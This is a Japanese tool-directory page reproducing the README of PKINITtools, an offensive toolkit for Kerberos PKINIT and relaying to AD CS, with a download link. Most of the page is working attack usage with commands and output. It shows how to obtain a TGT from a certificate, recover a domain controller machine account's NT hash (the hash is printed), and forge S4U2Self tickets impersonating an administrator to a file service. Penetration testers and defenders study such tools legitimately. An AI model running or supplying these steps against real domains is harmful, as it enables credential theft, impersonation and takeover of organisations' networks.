Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PKINITtools — Kerberos PKINIT および AD CS へのリレーのためのツール | Kitploit
ツール/GitHubGitHub/dirkjanm/pkinittools
エクスプロイトペネトレーションテスト認証
GitHubdirkjanm/pkinittools

PKINITtools

Kerberos PKINIT および AD CS へのリレーのためのツール

リポジトリを見る
9221071年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PKINIT ツール

このリポジトリには、PKINIT と証明書を扱うためのユーティリティが含まれています。
これらのツールは minikerberos と impacket を基に構築されています。詳細な背景については、付随するブログ記事をご覧ください: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

インストール

これらのツールは Python 3.5+ でのみ互換性があります。GitHub からリポジトリをクローンし、依存関係をインストールすれば準備完了です。

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

仮想環境 (virtualenv) の使用をお勧めします。

ツール

gettgtpkinit.py

PFX ファイル(ファイルまたは base64 エンコードされたブロブ)、または証明書 + 鍵の PEM ファイルを使用して TGT を要求します。これは Kerberos PKINIT を使用し、指定された ccache に TGT を出力します。また、AS-REP 暗号鍵を表示します。これは getnthash.py ツールで必要になる場合があります。使用例:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

Kerberos U2U を使用して、自分自身への TGS 要求を送信します。これには PAC が含まれ、PAC には NT ハッシュが含まれており、特定の TGT に使用された AS-REP 鍵で復号できます。まさに魔法です。このツールを使用するには、PKINIT から取得した TGT が KRB5CCNAME 環境変数に設定されている必要があります。使用例:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Kerberos S4U2Self を使用して、証明書を取得したホストで有効なサービスチケットを要求します。このチケットを使用して元のホストとやり取りできます。このためには、そのホストのマシンアカウントの TGT のみが必要です。この TGT は kerberos_connection_url で指定する ccache ファイルに含まれている必要があります。この例で受け入れられる kerberos_connection_url は ccache ファイルを含むもののみです。例えば、kerberos+ccache://domain.local\\victimhostname\$:[email protected] のようになります。SPN は偽装するホスト上のサービス名である必要があります。これは委任攻撃には使用できません(S4U2Proxy を実装していないため、そのためのツールはすでに多数存在します)。使用例:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

ライセンス

MIT

クレジット

  • minikerberos の SkelSec 氏
  • impacket の Alberto Solino 氏と SecureAuthCorp チーム
  • AzureADJoinedMachinePTC の一部として Python で初めて PKINIT を実装した Mor Rubin 氏
  • kekeo でこれらの機能を実装した Benjamin Delpy 氏
ツールをダウンロード